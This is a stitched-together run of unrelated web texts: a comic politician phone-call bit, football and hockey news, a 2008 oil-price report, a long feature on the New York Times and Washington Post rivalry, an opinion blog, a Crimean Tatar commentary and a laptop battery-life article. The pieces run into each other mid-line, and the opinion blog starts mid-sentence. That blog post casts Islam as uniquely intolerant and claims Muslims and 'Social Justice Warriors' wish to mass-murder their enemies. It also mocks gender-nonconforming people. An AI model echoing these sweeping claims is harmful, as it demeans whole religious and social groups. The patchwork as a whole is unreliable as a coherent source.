Me: Let's say there's a vote to invoke cloture on a debate over an appropriations bill allocating revenue-sharing funds to municipalities based on the disproportionality of their tax burden as calculated for the previous fiscal year. Would you vote yes?
Robert: Absolutely.
Me: You understood that?
Robert: Sure. I'm a lawyer. I don't like filibusters.
Call 2: Bird, Eugene
Me: Do you think global warming is for real?
Eugene: Actually, I have a daughter who is in Alaska right now, flying over the ice floes toward the North Pole, cataloguing how the ice cap is receding. So, yes, I think it's real.
Me: And how much money in campaign contributions would it take to change your opinion?
Eugene: Whatever it takes to get me reelected. I'm a lobbyist. I understand.Hugo Rodallega celebrates his goal © PA Photos Enlarge
Fulham have completed the signing of former Wigan Athletic forward Hugo Rodallega on a three-year deal.
The 26-year-old Colombia international spent three years at the DW Stadium but, after his contract expired, opted to look for a new challenge elsewhere - with the west London club giving him the opportunity to remain in the Premier League.
"I'm thrilled to have signed for Fulham," Rodallega said. "I wanted to stay in England and I'm delighted that I now have this opportunity with Fulham.
"I would like to thank the staff and fans of Wigan Athletic for three and a half wonderful seasons there. I'm looking forward to pre-season training with the rest of the Fulham squad and starting a new chapter in my career."
Having seen Andy Johnson depart for QPR already this summer, Rodallega's arrival replenishes Fulham's attacking options. Manager Martin Jol is looking forward to the player's impact at Craven Cottage.
"I am delighted that Hugo has decided to join Fulham," Jol said. "There has been a lot of interest in him from other top flight teams in England and abroad, so to be able to add his quality to our squad is a massive boost this early in our preparations for the new campaign.
"He is a great addition and I think he will contribute very well to our style and philosophy here."
© ESPN Sports Media Ltd.As of this very writing, the Philadelphia Flyers seem set to do something they haven’t done since the 70’s: enter the regular season without a full-on, “heavyweight” enforcer.
(Some were probably hoping they’d do a different thing since that decade: win the Stanley Cup. That’s certainly the other plan …)
By waiving Jay Rosehill on Friday, the Flyers inspired a wave of stunned headlines about this possible change of direction, with CSNPhilly.com even labeling them “The Bully-less Bullies.”
Fans of pugnacious Flyers hockey shouldn’t fret too much, however, as there’s still plenty of snarl on this roster. GM Ron Hextall mentioned as much to the press, even as he seems to nudge this team along in a (gasp) progressive direction.
“We’ve got some toughness on our team,” Hextall said. “Don’t forget that. We’ve got some guys that can handle themselves. I think when you look, there wasn’t a lot of fights in preseason. There never are any fights in the playoffs. And then in between, it’s getting less and less. If we have to adjust at some point, we’ll adjust.”
While Rosehill led the team with 10 fights in 2013-14, there are plenty of players who can drop the mitts if things get out of hand, including guys who can take a regular shift like Wayne Simmonds (six fights last season). Beyond that, Rosehill and and Zack Stortini are just a quick call-up from the AHL. As Hextall said, “it can change in a hurry.”
(Some have mentioned Zac Rinaldo, and he’ll certainly drop the mitts with aplomb. Even if he’s heavier than his listed 169 lbs., it’s obvious that he’s not in that “heavyweight” category, though.)
Beyond the blatantly obvious fact that fighting is both declining in frequency and the fairly clear notion that teams are becoming far less willing to dress a guy who can really do little but scuffle, both Hextall and head coach Craig Berube feel like they’re better off with a more versatile fourth line.
“Right now we look at the [Pierre-Edouard] Bellemare line,” Hextall said. “They’re giving us some offense. They’re giving us some quality minutes. When Chief (Berube) and I talked in the summertime, we wanted to increase that line’s ice time.
“At this point it looks like we’ll be able to.”
This roster still has its issues (as you can read all about here), so it might be a while before we truly see positive results from the refreshing-yet-possibly-polarizing changes Hextall seems willing to consider.
In the meantime, it might be appropriate to drum up a new nickname. Should we start calling them “The Broad Street Beauties?”
(That … probably wouldn’t go over too well.)
Follow James O’Brien @cyclelikesedinsNEW YORK (Reuters) - Oil prices dropped another 5 percent to a seven-month low on Tuesday, extending the steepest two-day slide since 2004 as mounting economic turmoil sent investors fleeing to safer havens.
Traders work in the oil options pit at the New York Mercantile Exchange, September 15, 2008. REUTERS/Chip East
The losses came despite U.S. supply disruptions after Hurricane Ike crashed through the Gulf of Mexico last week and left a quarter of the nation’s energy output idled.
“People are getting out of commodities and getting into safer havens, like bonds,” said Andy Lebow, broker at MF Global in New York.
U.S. crude for October settled down $4.56 at $91.15 a barrel, adding to losses of more than $5 on Monday. Prices have dropped about 10 percent in two days, the biggest slide since December 2, 2004.
Brent crude fell $5.02 to $89.22 a barrel.
“If the economic turmoil continues, demand will continue to drop,” said Jonathan Kornafel, Asia Director at U.S.-based options trader Hudson Capital Energy. “It’s a bit of panic in the markets.”
Monday marked the worst day on Wall Street since markets reopened after the September 11 attacks in 2001, with investors fleeing to safer havens, such as gold and bonds, after news of Lehman Brothers’ LEH.N bankruptcy and the sale of Merrill Lynch MER.N.
Growing problems at insurer American International Group (AIG.N) added to fears about the financial sector’s stability and the outlook for the global economy.
“If AIG tanks, that will be the big one. AIG has more to do with the oil price right now than the Saudis do,” said Larry Grace, an analyst at Kim Eng Securities in Hong Kong.
Slowing demand due to economic weakness in the United States and other top consumer nations has sent crude prices tumbling from record highs over $147 a barrel in July.
European shares fell on Tuesday amid concerns over AIG, driving up the yen and government bonds. But a report that the Federal Reserve was mulling a loan package for AIG trimmed losses late in the day.
Federal Reserve policy-makers stopped short of lowering U.S. interest rates at a meeting on Tuesday, opting for the time being to soothe rattled financial markets with central bank lending facilities rather than rate cuts.
The slide in oil prices came despite reports that Hurricane Ike toppled several oil and natural gas production platforms in the Gulf of Mexico, signaling that a full recovery of output from the region could be slow.
Threats from hurricanes since late August have already cut more than 20 million barrels of oil supply from the Gulf and idled a quarter of U.S. refinery capacity — digging into supplies and sending gasoline prices up at the pumps.
U.S. gasoline stockpiles are already running at their lowest level since November 2000, and could drop to their lowest on record due to the effects of Ike, according to a Reuters poll of analysts.I. Leaks and Geeks It was wheels-up at Joint Base Andrews as Peter Baker, the chief White House correspondent for The New York Times, settled into the Air Force One press cabin on May 19 at the start of a presidential flight to Riyadh, Saudi Arabia. Then his cell phone rang with a heads-up from his boss, Washington-bureau chief Elisabeth Bumiller, that the paper was about to break a big story: Donald Trump had denounced James Comey—whom he had just fired as F.B.I. director—as a “nut job” during a meeting with Russian officials in the Oval Office. He had also told the Russians that Comey’s ouster relieved “great pressure” on him just as the F.B.I. investigation of the Trump campaign and contacts with Russian officials seemed to be gathering momentum. The airplane was aloft when the two television sets in the aft cabin, both turned to the Fox News channel, flashed bulletins about the story. But moments later, the same TV sets were touting another revelation, this one from The Washington Post—Baker’s alma mater. The Post was reporting that the F.B.I. probe had identified “a current White House official as a significant person of interest.” “It wasn’t even five minutes,” recalled Baker, who has trouble, like most people, keeping track of the competing Post-Times exclusives about the Trump administration that have dominated the media world for months. Two revived bastions of Old Media are engaged in a duel that resembles the World War II rivalry of American general George S. Patton and British general Sir Bernard Montgomery as they scrambled to be first to capture Messina. There is a sense, too, that something fundamental about the nation is at stake. The Washington Post now proclaims every day in its print and online editions, “Democracy Dies in Darkness.” The ongoing tit for tat helps explain the online-traffic records for both newspapers and why they are, more than ever, the tip sheets and storyboards for cable and broadcast news. So the Post discloses that Trump revealed classified information to the Russians; then the Times discloses that Comey memorialized an Oval Office meeting in which the president allegedly pressured him to end the F.B.I.’s investigation into former national-security adviser Michael Flynn’s contacts with Russian officials. In headlines, they both question the honesty of Trump, even using the once taboo words “lie” and “lies.” Dean Baquet, the executive editor of the Times, traces the use of those words in his newspaper to Trump’s lies about Barack Obama’s place of birth. To have not used them, he told me, “would have been screwing around with the English language.” At the Post, Glenn Kessler’s interactive Fact Checker graphic keeps a tally of Trump’s false and misleading claims as president. (As of late July: 836.) It was a Post story which broke the news that fake Time magazine covers of a pre-presidential Trump (“HITTING ON ALL FRONTS... EVEN TV!”) had been hung prominently at some of his resorts. Meanwhile, a Times bombshell revealed that Trump’s son Donald junior, along with campaign chairman Paul Manafort and son-in-law Jared Kushner, had met, two weeks after Trump’s nomination, with a Kremlin-connected Russian lawyer who was said to be offering dirt on Hillary Clinton—leaving himself open to charges of attempted collusion with a foreign government. Both papers are windows on—and vehicles for—the animus between Trump and the intelligence community, and thus for what Baquet concedes have been unceasing leaks from a Trump-wary bureaucracy. (“Remarkably easy” is how he described some of the reporting.) WATCH: The Washington Post in the Spotlight If you miss the stories in print or online, reporters from the two newspapers are beckoned for regular cable-news duty. And there’s always Snapchat, Facebook, and other social tools, part of a subterranean war for survival that marries scoops and computer engineering. It is a contest in which the geeks supplement shoe-leather reporting, a contest that both could win or both could lose, given the vagaries of media fragmentation. The two papers are battling amid a dramatic, decade-plus industry free fall. After hitting a high of more than $49 billion in 2006, total newspaper ad revenues nationwide fell to $18 billion in 2016. According to industry analyst Alan Mutter, print circulation has plunged by half. At the Times and the Post, there is talk internally about a world without the print edition. Call it the Last Newspaper War, as two great survivors face off with different strategies and different economic realities but the same audacity; an impressive array of talent; and two highly competitive leaders—Baquet and his counterpart at the Post, Marty Baron (who, says one observer, would “rather beat the Times than eat”). Both papers receive lacerating criticism from the White House almost every day. The underlying passion offers the Internet Age version of The Front Page, Ben Hecht and Charles MacArthur’s 1928 tribute to an indomitable craft in which editor Walter Burns responds to one reporter’s request to know how much space he has for an exclusive by telling him he wants every goddamn word the reporter can give him. There are days when you can swear that the Post and the Times are giving you every goddamn word on Trump. The Post’s “Democracy Dies in Darkness” may seem a bit overwrought as a slogan—“like the next Batman movie,” Baquet has said—but crusty Walter Burns would probably pound a table, slam down a candlestick telephone, utter a few choice words, and growl, But it’s true! The remarkable thing is that, within very recent memory, the resurgence of the Times and the Post seemed hard to imagine. Even harder to imagine was that assistance would come from a boorish blowhard and real-estate developer who decided to enter politics. Photograph by Franco Pagetti. II. Farewell to Farewells
Twenty years ago I sat in the spacious Georgetown home of Katharine Graham and brought up a bit of history that is unknown to most, perhaps all, Post employees these days. Nobody I broached it with at the Post this summer had a clue. Back in the 1940s, one of the great figures in the newspaper industry was Eleanor Medill (Cissy) Patterson, first cousin of the fabled Chicago Tribune owner Colonel Robert R. McCormick. Patterson owned and edited the conservative Washington Times-Herald and was the nation’s only big-time female newspaper publisher. An Auntie Mame-like figure with a flamboyant lifestyle, she feuded publicly with the far smaller Washington Post, which was owned by Graham’s father, Eugene Meyer. When Patterson died, in 1948, the Meyer family desperately wanted to get its hands on her newspaper. “I thought at times our lives depended on it,” Graham told me that day. But they didn’t get it, because McCormick himself swooped in to buy the newspaper and install his 28-year-old niece, Ruth Elizabeth (Bazy) McCormick Miller, as the publisher. The daughter of two former Illinois members of Congress, she loved the job and was a high-profile and politically conservative leader. Graham recalled being captivated as a young woman by Colonel McCormick during a party at the Connecticut estate of the Sulzbergers, owners of The New York Times. She had watched him arrive in a helicopter emblazoned with the words “World’s Greatest Newspaper”—the Chicago Tribune’s slogan. What she wasn’t so upbeat about years later was McCormick’s buying the Times-Herald and, as she wrote in her memoir, leaving her husband, Philip Graham, “in a great despond.” Ultimately, though, McCormick did part with his paper, and the reason was an affair. Bazy Miller, who was married, had fallen in love with Garvin (Tank) Tankersley, an editor at the Times-Herald. McCormick, outraged, told her to choose between Tankersley and her job. She followed her heart. McCormick sold the newspaper, and under Meyer the combined entity, with the Post’s name on top, prospered as a great, ideologically liberal local voice. Kay Graham’s own story became journalism lore: the generally timid child of a privileged, if dysfunctional, home who married a brilliant but troubled Harvard Law graduate, who himself raised the company’s game as the charismatic leader picked by her dad. After her husband’s death (a suicide, at age 48), Kay Graham took over and made a storied transition to being publisher and head of the company, with the great help of editor Ben Bradlee, an aggressive, fearless, and theatrical newsroom leader. Graham proved a tower of strength during the fight by the Post and the Times to publish the Pentagon Papers—the secret history of the Vietnam War—resulting in a landmark 1971 Supreme Court victory. Just as telling was Graham and Bradlee’s nerve in backing the Bob Woodward-Carl Bernstein investigation into the Watergate scandal. All the while, she oversaw the company’s evolution into a modern media enterprise, led by the Post but including Newsweek and highly profitable television stations. If the Times was the national organ for a news-consuming elite, the Post was not far behind as the clear leader among a small pack of superb regional newspapers. It was a magnet for and a breeder of exceptional talent—two generations of great political writers, including David Broder, Haynes Johnson, David Maraniss, and Thomas B. Edsall. Its political coverage was matched by other areas of the paper, notably first-class foreign and national bureaus as well as a features section, “Style,” that was a de facto magazine with, on its best days, the élan of the old Esquire. By 1993 the paper’s daily circulation was more than 830,000. The newspaper industry seemed flush, even as storm clouds could be discerned in the distance, with television luring away more advertising and the Internet not far off. That year’s big industry deal was the New York Times Company’s purchase of The Boston Globe, for $1.1 billion. At the Post, the newsroom payroll had more than 900 people. Donald Graham succeeded his mother and maintained a steady course, leading the Washington Post Company as chairman but later handing the publishing duties to Katharine Weymouth, his niece. She hired a new editor, Marcus Brauchli, from The Wall Street Journal, to replace Bradlee’s successor, Leonard Downie Jr., and when that didn’t work out, she lured Marty Baron from The Boston Globe. There, Baron had dealt with painful downsizing. A longtime friend, Doug Frantz, who has worked for both Baron and Baquet, recalled Baron being “frustrated and at times angry” with the Times Company about the cuts and layoffs. But Baron stuck it out and maintained high standards—symbolized by a nervy investigation into child abuse by Catholic priests that would inspire the Oscar-winning movie Spotlight. At the Post, Baron inherited a failed strategy to focus on local and regional news (eliminating many national and foreign bureaus in the process), tensions between the print and digital operations, and a plummeting of both circulation and advertising revenues. By 2013, layoffs and buyouts had brought the Post newsroom staff down to the low 600s. Circulation had dipped to 475,000. Senior politics editor Steven Ginsberg recalls posting a vacancy for the top congressional reporting job—and not a single person applied. The patrician Donald Graham, proud keeper of tradition, knew the situation was spiraling beyond his control. In 2013, urgently needing cash, the Post announced plans to sell its building. Even its for-profit educational company, Kaplan, whose healthy revenues had long bolstered the Post, began to implode amid a government crackdown on profit-making schools and training programs. The newsroom stopped holding farewell parties on Fridays—they were just too depressing. All the while, Graham searched for a buyer, then stunned the world by announcing the sale of the Post to Jeff Bezos, the 49-year-old founder of Amazon, for a modest $250 million. Peter Baker, who had gone to the Times, remembers crying over the news. Graham was like a desperate but loving mother placing a newborn in a basket and sticking it on the doorstep of somebody she hoped would clasp it to heart. Photograph by Franco Pagetti. III. Sinking Flagship
In the spring of 2010, I was at a high-top table for two at Shaw’s Crab House, in Chicago, for a luncheon chat with a former crack addict and recovering alcoholic named David Carr. A froggy-voiced New York Times media writer with a pelican neck and Columbo-like manner of inquisition, Carr was pumping me at the start of what would become an investigation into ethical disarray at the Tribune Company, which had been taken over by Sam Zell, a vulgar real-estate billionaire who cared nothing for journalism. “So you think there’s a story I can get?” he asked. There sure was: poker parties featuring drugs; oral sex in the office; profanity; and various other episodes involving a new hierarchy plucked by Zell from the radio industry. Carr’s investigation—explaining how the Tribune’s buttoned-down culture had been transformed into a moral and ethical freak show—was chronicled in Page One, a 2011 documentary about the Times. Listening to Carr—“Can you show me where he got the blow job?”—you realized how much the world’s most influential media organization had changed. If you were familiar with the newspaper mainly through The Kingdom and the Power, Gay Talese’s loving and unsparing 1969 history, it would be difficult to visualize the Times employing a character as idiosyncratic as Carr, much less holding him up as the embodiment of the institution. This was a place whose Washington bureau was once populated by a species of journalist Talese described as lean, tall, tweedy, well educated, and, in at least one instance, given to wearing bow ties and smoking a pipe (in homage to the onetime king of their realm, James Reston). But now the Digital Age was here and the newspaper was dramatically more diverse. Carr was not just fearless and perceptive but also a fierce defender of the core values of independence and fairness that now faced economic peril. “To Give the News Impartially, Without Fear or Favor”: that had been the credo of Times patriarch Adolph S. Ochs when he arrived from Chattanooga and bought a struggling New York newspaper in 1896—right around the time Donald Trump’s grandfather Friedrich Trump arrived from Germany and made a fortune in the hotel (and prostitution) business in the Klondike. The Times eventually became the world’s most respected media outlet, with a giant newsroom staff of 1,300. The 1980s brought a critical strategic move—branching out with a national edition, for which consumers would pay a relatively hefty sum (in Chicago today, for instance, $2.50 for the daily and $6 on Sunday). That edition proved to be a savior, given tough competition in metro New York. Then came the Internet, the explosion of cable TV, declining circulations for print, and new options for advertisers. After the 2008 financial crisis, the Times’s future was so uncertain that it sought a $250 million loan from Carlos Slim Helú, a Mexican billionaire and still the largest single shareholder in the company, and engineered a $225 million sale and leaseback of part of its brand-new Manhattan headquarters. By the time I sat down with Carr, media analysts were openly wondering if the Times could survive. But the ruling Sulzberger clan somehow remained sufficiently cohesive about preserving the core product, even as intergenerational friction (and financial desperation) led to the sale of other family-owned newspaper groups and businesses. As time wore on, the company shed its major media interests, including all of the TV stations, except the flagship newspaper. Throughout, the newspaper was always the Times, the basis of comparison and envy, and the focus of unavoidably sharp criticism whenever it erred. It struggled, as did every newspaper, with converting to the Digital Age. Some self-inflicted wounds took on industry-wide, even national significance—such as the fabrications by reporter Jayson Blair, who made up stories out of whole cloth and prompted the resignation of executive editor Howell Raines. But during the past decade, under three different executive editors (Bill Keller, Jill Abramson, and Baquet), the paper has won 29 Pulitzer Prizes. The Times’s commitment to news was never in doubt. But as a business venture, the Times needed a recovery on the scale of David Carr’s own transformation from jailed addict to venerated icon. Photographs by Franco Pagetti. IV. It’s a Metaphor
Marty Baron took his place in the Washington Post newsroom in 2013. His predecessor, Marcus Brauchli, had combined the Washington newsroom and the separate, non-union, Virginia-based digital operations—a crucial step—and begun to alter a print-driven culture. But newsroom leadership can be vexing in hard times, and Brauchli never fully commanded the Post. Baron took charge the day after New Year’s and quickly began to upgrade a weakened political staff whose competition now included a relentless upstart, Politico. Don Graham had taken a pass on the original Politico concept, when brought to him by Post editor John Harris and reporter Jim VandeHei. With another investor they soon launched a site that became addictive for politics junkies. A post-Harris revolving door of political editors ended when Steven Ginsberg took over. Soon came the addition of many others, including Time magazine’s Karen Tumulty; talented metro reporters like Philip Rucker and David Fahrenthold, who were moved to the politics team; and Robert Costa, a rapidly rising star. In Baron’s first year the paper won two Pulitzer Prizes, including the prestigious public-service medal for a flood-the-zone team project, featuring 28 journalists and led by Barton Gellman, which exposed the National Security Agency’s rampant surveillance program—stories based on leaks by Edward Snowden, the former N.S.A. contractor who would ultimately take refuge in Russia. Traditional newsrooms are knotty, hierarchical organisms. Baron projected purpose, a fierce sense of support, a steely focus on story quality, and an awareness of how to deal with fragile egos. He has also shown spine in Trump coverage and in the face of unceasing attacks from the White House. The man portrayed by Liev Schreiber in Spotlight comes uncannily close to the mark. Baron has benefited from Hollywood lionization and also from the absence of financial pressures that normally burden editors—something he readily concedes.
Bezos, his boss, the most successful consumer-minded entrepreneur of his generation, began an online books business out of his garage and personally drove those early Amazon packages to the post office. He concedes that he did no real due diligence on the Post before he bought it, accepting the word of Graham that it was a worthy challenge. He took the company private and imposed the Amazon game plan: go from making a comparatively large amount of money on a relatively small number of consumers to a relatively small amount of money on a far larger group. As Nick Rockwell, the chief technology officer at the Times, explained to me, there’s “no secret” to the Bezos playbook: “The fundamental Amazon strategy is to successfully operate on smaller margins and beat everybody else on the scale game, and beat them to a pulp.” (For instance, Amazon Prime customers, of whom there may be as many as 65 million, get bargain-basement offers for digital Post subscriptions—about a quarter of what the Times charges.) The newspaper also needed to transform itself from a solid local paper to a national, even global one by exploiting its knowledge of Washington, the world’s most influential capital. In Silicon Valley fashion, Bezos would look long-term and invest heavily in new technologies, first for the paper and then to sell to others. The Post would invent what it needed, and stop relying on outside vendors. The paper now had a tough, smart editor and “an owner who immediately told us in the newsroom that one of the things I can give you is runway,” recalled Dan Balz, a political-reporting stalwart who arrived in 1978 and seriously considered leaving for Reuters in 2011. His decision to stay had been psychologically important in the newsroom. Today, Balz went on, “we are no longer perceived as an old, tired, legacy media operation but maybe at the cutting edge of something special.”
You hear about new technologies called Arc, Bandito, Paloma, Heliograf, BreakFast, and ModBot. These are, respectively: a state-of-the-art content-management system; a real-time content-testing tool; a newsletter-delivery platform; an artificial-intelligence system that let the paper cover around 500 election races last year and customize results geographically; a way to measure the speed of breaking-news e-mail alerts; and a mechanism to manage one million reader comments a month. Under chief information officer Shailesh Prakash, the Post has developed tools to test headlines automatically based on story content. |
benign preferences like kosher drinks become common, soon kow-towing to Islam will become ubiquitous.
Don’t believe me? Here are die-hard feminist leaders, who don’t-need-no-man, and damn the Patriarchy, cheerfully submitting to Islamic codes of dress, parading in front of the Islamic leaders like pieces of meat for the auction block.
Islam is stubborn and intolerant. And this intolerance is a form of strength, especially within otherwise tolerant societies. So the question becomes, does our tolerance extend to tolerating our own cultural demise? Islam is famously strict on the matter of homosexuality. Should Islamic intolerance of gays (to the extent of executing them) thus be embraced because we are tolerant?
It’s a logical absurdity.
But it extends far beyond Islam. Consider the famous intractability of Vegans and militant vegetarians. Not only do such individuals not want to consume meat, but they become offended if you deign to do it. This is a form of intolerant behavior. My Jewish and Seventh-Day Adventist friends don’t condemn me for eating pork, they simply do not eat it themselves. I have no Vegan friends, because most of them are intolerant. “How dare you eat meat!”
Fortunately, they are small enough to be a nuisance rather than a direct threat to meat consumption. But imagine if intolerant Vegans reached a critical mass (Taleb suggests 3 or 4% can be sufficient for this). How soon before businesses have to start making tough decisions surrounding pleasing the militant Vegans?
The good thing is, carnivores are displaying a certain level of intolerance right back at the Vegans. Observe:
Amusing, of course, but also indicative of a sort of counter-intolerance backlash building against the Vegans. If both sides are intolerant, and one is very small and the other very large, rule by the intolerant minority will be averted.
There are other ways to avert the intolerant minority rule problem. The second is avoid importing the intolerant. This could conceivably work with Islam. Another is cost. It is cheap to make juice kosher, the price difference is near to irrelevant, and there are no other real costs associated with the practice. And so all juice can be kosher, and nobody is really put off by it. But imagine if it cost 10 times as much to make juice kosher? How soon would the practice end, or be restricted to rich Jewish neighborhoods?
Taleb explains:
Second, the cost structure matters quite a bit. It happens in our first example that making lemonade compliant with Kosher laws doesn’t change the price by much, not enough to justify inventories. But if the manufacturing of Kosher lemonade cost substantially more, then the rule will be weakened in some nonlinear proportion to the difference in costs. If it cost ten times as much to make Kosher food, then the minority rule will not apply, except perhaps in some very rich neighborhoods.
Note that I’m not arguing for this. I don’t know of anybody who gives a damn about kosher lemonade, and I certainly don’t. It wouldn’t surprise me if even Stormfronters were inadvertently drinking kosher products (something I actually find somewhat amusing to think about). Nobody cares because the difference is so absurdly minor. But let’s return to the Vegans. Their preferences are much less tolerant than those of Jewish folks (who will generally leave non-Jews alone about their eating habits).
Now suddenly we have demands that companies stop serving meat, or, alternatively, use practices deemed good enough to satisfy militant organizations like PETA, which would drive up the cost of meat consumption radically. Makes a difference, doesn’t it?
Islam’s religious laws are even more extreme and rigidly stubborn. So, too, are the increasingly ridiculous demands of Social Justice Warriors, in which they take issue with everything from Christianity to whether or not people should be allowed to play video games, or wear dreadlocks. The reach of both Islam and Social Justice is total. Every tiny aspect of life is to be seen through their preferred lenses.
And as per Taleb’s argument, they will win if permitted to continue with their intolerance. The intolerant minority wins. And let’s be honest here: the kosher lemonade would soon disappear under Islamic rule, because Islam is very intolerant of that particular minority.
If Islam and Social Justice ever battled it out for who could be most intolerant, we all know who will win that fight. Both groups wish they could conduct a mass murder of their enemies. But only one group has any practical experience in it, the effective Stalinists having long since died out, leaving purple-haired, genderqueer weaklings to carry the Communist torch.
Islam has no such issue, and thus it earns the title as the most intolerant belief system with any sizable following. And it will win if we tolerate its intolerance.
Fortunately for us, the time appears to be fast approaching when our tolerance of the Islamic world’s antics (and SJW Vegans) will be fully exhausted. In this blogger’s opinion, that time can’t get here quickly enough.
Like this: Like Loading...I am always amused when the wider world catches up with things I’ve known for decades. The inexcusable and savage deportation of Crimean Tatars by Stalin is one of the many bloodstained blots on that appalling man. Now, thanks to the Eurovision Song Contests’s award of first prize to a song on the subject by ‘Jamala’, the world has discovered it.
I first became broadly conscious of it in the late 1980s when Mikhail Gorbachev’s reformed Soviet state began to allow the descendants of the deportees to return to their former homes. This was long after the Soviet state had officially admitted (in 1967) that the deportations had been wrong. As this was the USSR, this act was not accompanied by any great state generosity or efficiency, and I suspect it was often quite unpopular among Russians (and Ukrainians) in the Crimea who had to cope with the arrival of the returnees, never a simple matter even if the arrivals are positively saintly. Even so, it happened and there are now, I believe, more Tatars living in Crimea than before the deportations.
Soon afterwards the USSR fell to pieces and these events (like the plight of the Tatars, too little known) described here http://hitchensblog.mailonsunday.co.uk/2015/02/a-not-so-brief-history-of-crimea.html
led to Crimea being forcibly prevented, in 1992, from leaving Ukraine, as many of its people wanted to do, having signed a petition in large numbers seeking a referendum, and been made, by threats of force, to abandon this plan. There is a an interesting contrast between Ukraine’s menacing refusal to allow Crimea to decide its future, and Moscow’s complete willingness to allow Ukraine to decide *its* future. I am surprised so few people know about this or allow it to influence the general view of Ukraine as some sort of unimpeachable Saint Among Nations.
I have been able to find *nothing* anywhere, suggesting that the treatment of the Crimea Tatars by the Kiev government (corrupt, broke and inefficient) was in any way more generous, more kind, more anything, than it had been under the final years of the USSR. I would be grateful for any information on this. What is certain is that there is neither continuity nor comparison between Stalin’s Tatar policies and those of the Putin State. So what exactly is the current fuss about the Tatars intended to achieve or suggest?
There has certainly been some friction between the new Russian authorities and the Tatar leadership, since Russia seized Crimea in 2014, but this is the direct consequence of the decision of the Tatar leadership to attack the annexation. They are of course entitled to do so, though I’m not quite sure what their grounds are, They should be free to do so, but I must confess that I unsurprised that this has led to poor relations between the Tatar leadership and Moscow. But I can’t help feeling that the Tatar cause is being used by Ukraine ( and perhaps others) to make easy trouble for Russia. Moscow’s post-2014 treatment of the Tatars may well be at fault, and there is certainly nasty evidence of repressive government in Crimea, but do those who laud ‘Jamala’ actually care about the Tatars? Are they for the Tatars? Or are they just against Russia?
Much of EU Europe has problems of one kind or another with poorly assimilated Muslim or non-Christian minorities. The Sinti and Roma in Slovakia and Hungary are, I believe, not always well-treated. Much of Western Europe, notably France and Germany, plus Sweden, is struggling to cope with the recent influx of Muslims from Asia, the Middle East or Africa, and will; struggle more in years to come, I suspect. Let us see how they get on. It would plainly be wrong to judge them on the basis that their predecessor governments, long ago, did unforgiveably dreadful things to some minorities. Wouldn’t it?
And then there is now. China, whose President we so recently entertained at Buckingham Palace, and on whose behalf our police barged into and arrested peaceful protestors in London, is not behaving in an exemplary fashion towards the Turkic Uighur Muslims of Sinkiang (Chinese Turkestan, as it was once more informatively known), and indeed is more or less reducing them to a minority in their own land while demolishing historic evidence of their culture (let us not even mention Tibet). You may read about this here http://www.dailymail.co.uk/news/article-1233439/Special-Investigation-PETER-HITCHENS--Blood-fear-Happiness-Street-China-threatens-obliterate-ancient-culture.html
Yet I never notice anyone making much fuss about this, or about the horrible fact that an entirely peaceful dissenter against these policies, Professor Ilham Tohti, has been flung into prison *for life* in China after a parody of a trial:
http://www.telegraph.co.uk/news/worldnews/asia/china/11115613/China-sentences-Uighur-professor-to-life-in-jail.html
while his wife and two young sons were left destitute by the state seizure of his savings - with remarkably little protest from the righteous brigades who have so much to say about the wrongs of Russia.
Are those who chose to make the Tatars This Week’s Good Cause concerned about opposing injustice in general, or actually concerned about attacking Russia in particular? Let’s see if anyone writes a song about Professor Tohti and his poor penniless family, and it wins the Eurovision Song Contest.
,Quick! What do laptops and the Chevy Volt have in common? If you answered “bogus battery claims,” you got it. Batteries are more capable than ever, but their merits are being wildly oversold. Nine hours of battery life? 230MPG? Who authorizes this crap? Marketing departments have made battery life a race to the top of Bullshit Mountain, and the unaware consumer is paying for it with disappointment. We think it’s time that consumers are offered more reasonable expectations, and we think we have a solution that will do just that.
A growing chorus
The issue of bizzaro-land battery marketing was brought to the fore when AMD’s SVP and CMO Nigel Dessau called shenanigans in March.
“Most PC battery time metrics are achieved by looking at how long the battery lasted running a benchmark called MobileMark® 2007 (MMO7). This is a rating of battery life when your PC is running on average less than 5% utilized – or fundamentally idle,” he wrote. “Most PC makers don’t even turn Wi-Fi on for this test. Is this realistic based on how you use your PC?”
“If I want to know how long my battery is going to last, I want to know how long it’s going to last with me using it, not with it idle or doing nothing.”
Icrontic’s own Cliff Forster echoed Dessau’s sentiments when he wondered why consumers are willing to put up with the bogus numbers shoveled onto the market.
“Why is this happening? The truth will baffle you: OEMs test laptop battery life with critical components shut down. That means no WiFi and no advanced graphics,” he wrote. “To put it simply, today’s battery life claims are based on a bogus low power user profile. How do we allow this to go unchecked?”
Icrontic was certainly not alone in its opinion; the Wall Street Journal, the New York Times, Computer World and even Lenovo acknowledge Dessau’s observations as a legitimate problem.
“We don’t really like the fact that something is supposed to get four hours and users routinely say, ‘We divide that number by two and that’s what we get,'” said Lenovo segment marketing manager David Critchley.
Gathering some data
We wanted to go a step beyond punditry and tackle the issue for ourselves. Could we develop a battery life rating that more accurately depicted the consumer’s experience? After discussion, we thought it best to create three separate ratings for gaming, multimedia, and productivity.
To see if we were on the right track, we hit the Internet with a poll (now closed) that asked a simple question: What kind of laptop user are you? We let our readers, Twitter users, and corporate folk tell us what kind of user they are, and the answer surprised us.
Next, we asked respondents to rate the importance of eleven distinct tasks on a scale of 1-5, with one being the least important. We made sure to cover a wide spectrum: Gaming, music, movies, browsing, blogging, pictures and writing are just some of the tasks we asked users to tell us about. We asked these questions to assure that our user’s usage habits reflected the categories they selected: Did productivity tasks outweigh multimedia tasks? Was gaming really that unimportant? This is what we found:
Interpreting the data
Now that we’ve presented the numbers as they are, we wanted to draw a few conclusions about what we found and highlight a few interesting results in the data:
Internet browsing is far and away more important than any other task. With 245 votes of 5, or “most important,” it is more than twice as important to users as document creation which received the next highest share of fives at 113 votes.
Of the five tasks which were rated as “most important” by those polled, Internet browsing and document creation (productivity) have more votes than the remaining three combined.
Even if you slant the numbers by adding all four multimedia options (CD music, digital music, DVD/Blu-ray movies and digital movies) together, the productivity category still receives more “most important” votes.
Gaming is a complete bust on the notebook. It received more votes for 1, or “not at all important,” than it did for “very important” or “most important” at 4 or 5.
Interesting: Digital music (iTunes/other) was deemed “most important” by users at a rate of more than 2:1 over music stored on a CD.
Digital music (iTunes/other) was deemed “most important” by users at a rate of more than 2:1 over music stored on a CD. Interesting: We didn’t figure people would be doing much file sharing on their notebook, but nearly half of those polled gave it a 4 or a 5.
Most importantly, the specific usage habits offered by users in the importance polls reinforces the results to the “What type of laptop user are you?” question. Users clearly prefer productivity to multimedia, and multimedia to gaming. This is what we expected going into our analysis, and we’re pleased to see strong indicators that endorse the point.
Reacting to the data
